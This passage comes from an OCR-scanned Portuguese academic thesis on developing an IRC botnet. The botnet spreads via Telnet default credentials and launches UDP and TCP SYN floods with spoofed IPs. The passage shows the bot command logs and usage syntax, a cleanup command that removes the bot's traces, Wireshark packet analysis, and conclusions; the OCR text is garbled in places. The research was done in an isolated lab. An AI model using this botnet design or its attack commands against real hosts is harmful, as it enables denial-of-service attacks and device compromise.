11:43 [Users #army of furb

11:43 = b886svg2l master

11:43 -!- Irssi: #army of furb: Total of 2 nicks 0 ops, @ halfops, @ voices, 2 normal
11:43 - master  @scan

11:43 - b886svg2l- connected to 172.17.0.2

11:43 - b886svg2l- trying to exploit 172.17.0.2

11:43 - b886svg2l- exploited 172.17.0.2

11:43 - b886svg2l- connected to 172.17.0.3

11:43 - b886svg2l- trying to exploit 172.17.0.3

11:43 -!- bolzl9%ovx has joined #army of furb

11:43 - bolzl9%ovx  ready to obey to the master!

11:44 - bolz19ovx- Executing command: ip -4 a

11:44 - bolzl9ovx- 1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 gdisc noqueue qlen 1000

11:44 - bolzl9ovx inet 127.0.0.1/8 scope host lo

11:44 - bolzl9%vx valid 1ft forever preferred 1ft forever

11:44 - bolz19ovx- 9: eth0@ifl0: <BROADCAST,MULTICAST,UP,LOWER UP,M-DOWN> mtu 1500 gdisc noqueue
11:44 - bolzl9ovx inet 172.17.0.2/16 scope global eth®

11:44 - bolzl9%vx valid 1ft forever preferred 1ft forever

11:44 [Users #army of furb

11:44 = b886svg2l bolz190vx master
11:44 -!- Irssi: #army of furb: Total of 3 nicks 0 ops, @ halfops, @ voices, 3 normal

11:44 master( i) 2:localhost/#army of furb Act:
[#army of furb] JJ

Fonte: elaborado pelo autor.
Figura 16 - Estado da maquina ap06s a infeccao

blacksheep@localhost:/home/blacksheep/qgit/IRC_botnet

File Edit View Search Terminal Tabs Help

blacks... blacks... blacks... blacks... blacks... blacks
/ # 1s -la /tmp
total 1104
drwx rwxrwt 1 root root 4096 Nov 22 14:04 .
drwxr-xr-x 1 root root 4096 Nov 22 03:17 ..
-MW-r--r-- 1 root root 4 Nov 22 14:04 .pid file
SrWXr-Xr-X 1 root root 1103704 Nov 22 14:04 bot
-rwW-r--r-- 1 root root 131 Nov 22 14:04 getbot.sh
/ # ps -eaf
PID USER TIME  COMMAND

1 root 0:00 sh

33 root B:00 /tmp/bot

47 root 0:00 ps -eaf
/ #1

Fonte: elaborado pelo autor.

A Figura 17 demonstra a botnet contendo 3 bots ativos, sendo solicitado o comando
Gattack udp passando como argumento o IP do alvo 172.17.0.4, quantidade de pacotes igual

a 1 e portas de destino e origem aleatdrias, juntamente com IP falso.
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Figura 17 - Envio do atague UDP flood
blacksheep@localhost:~/git/IRC_botnet

File Edit View Search Terminal Tabs Help

black... black... black... black... black... bla

12:39 @master @attack udp 172.17.0.4 1 0 0 0 spoof @
12:39 - b44k8visk- 1 packets sent...
12:39 - bcw80cd443- 1 packets sent...
12:39 - b6g7opsoo- 1 packets sent...

12:40 @master( i) 2:localhost/#army of furb  Act:
[#army of furb] @attack udp 172.17.0.4 1 0 0@ 0 spoof 0.

Fonte: elaborado pelo autor.

A Figura 18 demonstra o envio do comando eattack tcp para o alvo 172.17.0.2,
enviando o total de 1000 pacotes TCP SYN com origem na porta 8080 e destino na porta 80

da vitima.

Figura 18 - Envio do ataque TCP SYN flood
File Edit View Search Terminal Tabs Help

blacksheep@localhost:~... blacksheep@localhost:... blacksheep@localhost:/... blacksheep@lot

:05 -!- Irssi: #army_of_furb: Total of 1 nicks 1 ops, @ halfops, @ voices, @ normal
:05 -'- Channel created Wed Nov 29 16:05:13 2017
:05 -!'- Irssi: Join to #army of furb was synced in 2 secs
:05 [Users #army of furb
:05 @master
:05 -!'- Irssi: #army of furb: Total of 1 nicks 1 ops, @ halfops, 0 voices, @ normal
:05 -!'- bvk8j46n6 has joined #army_of_ furb
:05 - bvk8j46n6- ready to obey to the master!
:06 -@master  @attack tcp 172.17.0.2 1000 8080 80
bvk8j46n6- 100 packets sent...

:06 - bvk8j46n6- 200 packets sent...

:06 - bvk8j46n6- 300 packets sent...

:06 - bvk8jd46n6- 400 packets sent...

:06 - bvk8j46n6- 500 packets sent...

:06 - bvk8j46n6- 600 packets sent...

:06 - bvk8j46n6- 700 packets sent...

:06 - bvk8j46n6- 800 packets sent...

:06 - bvk8j46n6- 900 packets sent.

:06 - bvk8j46n6- 1000 packets sent

16:07 @master( i) 2: 1ncalhnst/#anny_nf_furh
#army_of _furb] []

Fonte: elaborado pelo autor.

mc\mc\c\mmc\mc\mc\mmc\mc\cﬁm
[==]
(=]

A Figura 19 apresenta as mensagens que sdo exibidas caso 0s argumentos dos

comandos de ataque sejam insuficientes.
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Figura 19 - Mensagem de argumentos invalidos
File Edit View Search Terminal Tabs Help

blacksheep@localh... blacksheep@localh... blacksheep@localh... blacksheep@localh... a -

16:08 #army of furb

16:08 @master bvk8j46n6

16:08 -!- Irssi: #army_of furb: Total of 2 nicks '1 ops, @ halfops, 0@ voices, 1 normal
16:08 @master @attack tcp

16:08 - bvk8j46n6- Not enough arguments. Usage: @attack tcp <target IP> <number of packets>
<source port [@ for random]> <destination port [0 for random]>

16:00 -@master @attack udp

16:09 - bvk8j46n6- Not enough arguments. Usage: @attack udp <target IP> <number of packets=>
<source port [0 for random]> <destination port [@ for random]> <rate of
change [0 for default]> <spoof|nospoof> <spoofed IP [ignore if nospoof]=>

16:09 @master( i) 2:localhost/#army of furb
[#army of furb] J]

Fonte: elaborado pelo autor.

A Figura 20 apresenta 0 comando exi11 que tem o intuito de encerrar a execucgdo de

todos ou de determinado bot. Antes de encerrar sua execucdo, o bot limpa os arquivos que

foram criados para ndo deixar rastros.

Figura 20 - Removendo bot da rede
File Edit View Search Terminal Tabs Help

blacksheep@loca... blacksheep@loca... blacksheep@Iloca... Q blacksheep@loca...

16:10 -!'- bgsh6zqqs has joined #army_of_furb

16:10 - bgsh6zgqs- ready to obey to the master!

16:11 -@master- @kill
.

16:11 ~bgsh6zggs@localhost has quit Client closed connection

16:11 @master( i) 2:localhost/#army of furb
[#army of furb] J]

Fonte: elaborado pelo autor.

3.4 ANALISE DOS RESULTADOS

Para analisar o comportamento do software desenvolvido foi utilizado o software
Wireshark. Foram analisados os pacotes gerados pela botnet para os ataques do tipo TCP e
UDP. Todos os testes, tanto de proliferacdo da botnet quanto dos ataques DDoS foram feitos
em um ambiente totalmente isolado da internet.

Ap0s o envio do comando eattack udp, apresentado na Figura 17, o seguinte trafego
foi observado (Figura 21): ocorréncia de 3 pacotes UDP, como reportado pelo comando da
Figura 17, 1 pacote para cada bot. Também se nota que o IP de destino dos pacotes
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corresponde ao IP solicitado no ataque e que o IP de origem é aleatorio. Pacotes ICMP de
retorno por parte do host 172.17.0.4 anunciando que a porta no pacote UDP néo foi
encontrada também auxiliam no processo de flooding, pois para cada pacote UDP a vitima
deve gerar um pacote ICMP. A Figura 22 apresenta o contetdo de um pacote UDP gerado,

onde consta o payload especificado “Say hello to FURB”.

Figura 21 - Trafego observado em UDP flood

No. Destination Protocol Lengtt Info
el LA TRC -
IRC
TCP Ack=94 Wi T
2 10 IRC 1 )
801969147 224.124.28.40 172.17.08.4 UppP 59 32507 — 13422 Len=0

o |

o
0.002034656  02: 11:00:02 Broadcast ARP 42 Who has 172.17.0.47 Tell 172.17
2560 00:04 02 : -

14 0.002434655 zac: 5 Bro;dcast
15 ©.002482254 rac: B 02:42:ac:11:00:03 42 172.17
16 0.002508065 5 172.17.0.4 59 34655

.41' 7.0,
24 5.300112607 : : : ARP 42 wWho .37 Tell 172.17.0.1
25 5.300144449  ©2:42:08:20:aa:9b  02:42:ac:11:60:62  ARP 12 Who has 172.17.0.99 Tell 172.47.8.1

26 5.300034169 02:42:ac:11:00:04 02:42:d8:20:aa:9b ARP 42 Who has 172.17.0.17 Tell 172.17.0.4
27 5.300200199 02:42:d8:20:aa:9b 02:42:ac:11:00:04 ARP 42 172.17.0.1 is at ©2:42:d8:20:aa:9b
28 5.300084160 02:42:ac:11:00:63 02:42:d8:20:aa:9b ARP 42 Who has 172.17.8.17 Tell 172.17.0.3
29 5.300236157 02:42:d8:20:aa:0b 02:42:ac:11:00:83 ARP 42 172.17.0.1 is at 02:42:d8:20:aa:%
30 5.300102832 02:42:ac:11:00:02 02:42:d8:20:aa:9b ARP 42 Who has 172.17.0.17 Tell 172.17.0.2
31 5.300241497 02:42:d8:20:aa:9b 02:42:ac:11:00:02 ARP 42 172.17.0.1 is at ©2:42:d8:20:aa:9b
32 5.300249651 02:42:ac:11:00:04 02:42:d8:20:aa:9b ARP 42 172.17.0.4 is at 02:42:ac:11:00:04
33 5.300256092 02:42:ac:11:00:83 02:42:d8:20:aa:8b ARP 42 172.17.0.3 is at 02:42:ac:11:00:03
34 5.300264142 02:42:ac:11:00:02 ©2:42:d8:20:aa:8b ARP 42 172.17.08.2 is at 02:42:ac:11:680:02

Fonte: elaborado pelo autor.
Figura 22 - Payload do pacote UDP

p Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface 0@
p Ethernet II, Src: 02:42:7c:21:e2:56 (02:42:7c:21:e2:56), Dst: 02:42:ac:11:00:02 (02:42:ac:11:00:02)
» Internet Protocol Versionm 4, Src: 73.24.91.165, Dst: 172.17.0.2

User Datagram Protocol, Src Port: 14099, Dst Port: 53840

Source Port: 14009
Destination Port: 53840
Length: 8

[Checksum: [missing]]
[Checksum Status: Mot present]
[Stream index: @8]

B2 42 ac 11 00 @2 02 42 7c 21 e2 56 03 00 45 a8  .B..... B |!'.V..E.

0 2d fe b3 00 80 ff 11 6b 93 40 18 5b a5 ac 11  .-...... k.I.[..
0020 00 02 EFFEIRTICIEIEERES 53 61 79 20 68 65 .. [PLZEENSay he
6c 6C 6T 20 74 6f 20 46 55 52 42 110 to F URB

Fonte: elaborado pelo autor.

Ao enviar um comando estipulando o IP falso como 25.25.25.25 para o endereco da
vitima como 172.17.0.2, o trafego da Figura 23 foi observado.

Figura 23 - Pacote UDP com IP falso por parémetro

1 0.008000088 .25.25h. 172.17.8.2

2 1 5 e (Port unre
3 5.130433555 B2:42:7c:21:e2:56 B2:42:ac:11:00:02 ARP 42 Who has 172. 1? e.27 Te]_l 172. 1? 0.1
4 5.130415638 B2:42:ac:11:00:02 B2:42:7c:21:e2:56 ARP 42 Who has 172.17.0.17 Tell 172.17.0.2
5 5.130502604 02:42:7c:21:e2:56 02:42:ac:11:60:02 ARP 42 172.17.08.1 is at 02:42:7c:21:e2:56
6 5.130513171 02:42:ac:11:00:02 B2:42:7c:21:e2:56 ARP 42 172.17.0.2 is at 02:42:ac:11:00:02

Fonte: elaborado pelo autor.

7

Ao analisar o trafego do ataque TCP SYN percebe-se que o pacote com SYN €

enviado, e entdo é recebido o0 SYN-ACK do servidor. Como esperado, nenhuma resposta é
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obtida e diversas retransmissdes TCP sdo realizados pela vitima. A Figura 24 demonstra o

fluxo do ataque TCP SYN.

indicando que somente a flag

Na Figura 25 é apresentado o conteudo do pacote TCP SYN,
SYN esté habilitada.

Figura 24 - Fluxo ataque TCP SYN

[RTip.addr == 172.17.0.

No. Time

Fonte: elaborado pelo autor.

Destination

Protocol Lengtt Info
CcP

A== o == ==

Figura 25 - Contetdo do pacote TCP SYN

w Transmission Control Protocol
Source Port: 25182
Destination Port: 88
[Stream index: 8]
[TCP Segment Len: @]
Sequence number: @
Acknowledgment number: 8
Header Length: 20 bytes
Flags: Bx802 (SYN)

eele] . Reserved

. Nonce :

5}

ECH-Echo

Push: No

Syn: Set
e e e Fin: Mot

[TCP Flags: -«-«-:----:5-]
Window size wvalue: 64
[Calculated window size: 64]
Checksum: @xd7e8 [correct]
[Checksum Status: Good]
[Calculated Checksum: Bxd7e8
Urgent pointer: @

.8

(relative sequence number)

Not set
Congestion Window Reduced (CWR): Mot set

Urgent: Mot set
Acknowledgment: Not set

Reset: Not set

: Not set

: Not set

t set

set

1

0088 2 ac 11 06 02 82 42 7c 21 e2 56 08 09 45 a8
0818 a@ fa B8 @0 ff @6 fO 1b f5 79 88 84 ac 1
0028 2 62 @e B0 50 4b 4a 00 80 00 B9 @0 09 50 02
0838 d7 8 00 68

Fonte: elaborado pelo autor.
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4 CONCLUSOES

O objetivo deste trabalho foi desenvolver uma rede botnet capaz de se proliferar via o
protocolo TELNET sendo capaz também de gerar determinados trafegos de rede tipico de
ataques de negacédo de servico, tal como UDP flood e TCP flood, também esperava-se analisar
0 comportamento de um ataque DDoS gerado por esta botnet. Estes objetivos foram
alcangados, porém ndo foram feitos testes para determinar a eficacia em termos de
performance da botnet devido a falta de um ambiente mais préximo a realidade da
infraestrutura de internet global, o que implicaria ter bots espalhados em milhares de
dispositivos. O objetivo de analisar o comportamento da rede durante DDoS foi atingido
parcialmente, de tal modo que foi analisado apenas o formato dos pacotes gerados. Nao foi
mensurado a largura de banda méxima atingida pelo ataque, bem como nao foi mensurado o
dano causado as vitimas nos testes.

A proliferacdo via protocolo TELNET se deu no fato de que ha muitos dispositivos
Linux executando com configuracfes de usuario e senha vindas de fabrica, sendo um alvo
facil para atacantes. Ndo é uma tarefa facil determinar quantos hosts seriam infectados pela
botnet desenvolvida caso ela fosse “solta” na rede global, portanto todos os testes realizados
foram em um ambiente isolado.

Com relagéo aos trabalhos correlatos, o presente trabalho contribuiu para a adicdo de
uma alternativa ao uso de usuarios e senhas fixos no codigo, permitindo fazer o download de
um arquivo de credenciais no momento da infeccdo. Quanto a melhoria para 0 meio
académico: Bano (2010, p. 1) diz que a maior parte da literatura no campo das botnets
permanece de forma ndo estruturada, e, portanto, o presente trabalho contribui para o campo
académico na area das botnets, na forma pela qual apresenta o processo de desenvolvimento e
de técnicas utilizadas por estas.

As ferramentas utilizadas no desenvolvimento do trabalho foram bem escolhidas, todas
sendo de grande ajuda. Destaca-se 0 uso do software Docker para simular diversos hosts em
uma rede que foi de grande valia, haja vista que simplificou o processo de gerenciar o estado
de diversas maquinas.

O software desenvolvido possui algumas limitagdes, dentre as quais: caso muitos
pacotes TCP ou UDP tentem ser enviados de uma Unica vez, o processo do bot pode ser
encerrado abruptamente, pois o kernel langa um signal avisando que nao possui mais espaco
na memoria para 0s pacotes seguintes; caso a execuc¢do de algum comando demore mais que 0

tempo de PING méaximo pelo servidor IRC, o bot é desconectado, pois 0 bot ndo possui um
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thread separada para o gerenciamento do comando PING. Outra limitagdo importante é o fato

de uma vez iniciado um comando, ndo ha possibilidade de pausa-lo.

4.1 EXTENSOES

Pelo fato das botnets serem consideradas um agregado de técnicas provindas de outros
malwares, a possibilidade de criar novos componentes e melhorias é muito vasta. Com base
nas ideias que viabilizaram este trabalho, sugere-se como melhorias e extensoes:

a) corrigir as limitacdes citadas nas conclusdes;

b) criar outros mecanismos de DDoS, por exemplo reflexdo DNS;

c) criar um cenario mais realistico para estudo do desempenho da botnet;

d) implementar comunicag&o segura entre botmaster e os bots utilizando criptografia.
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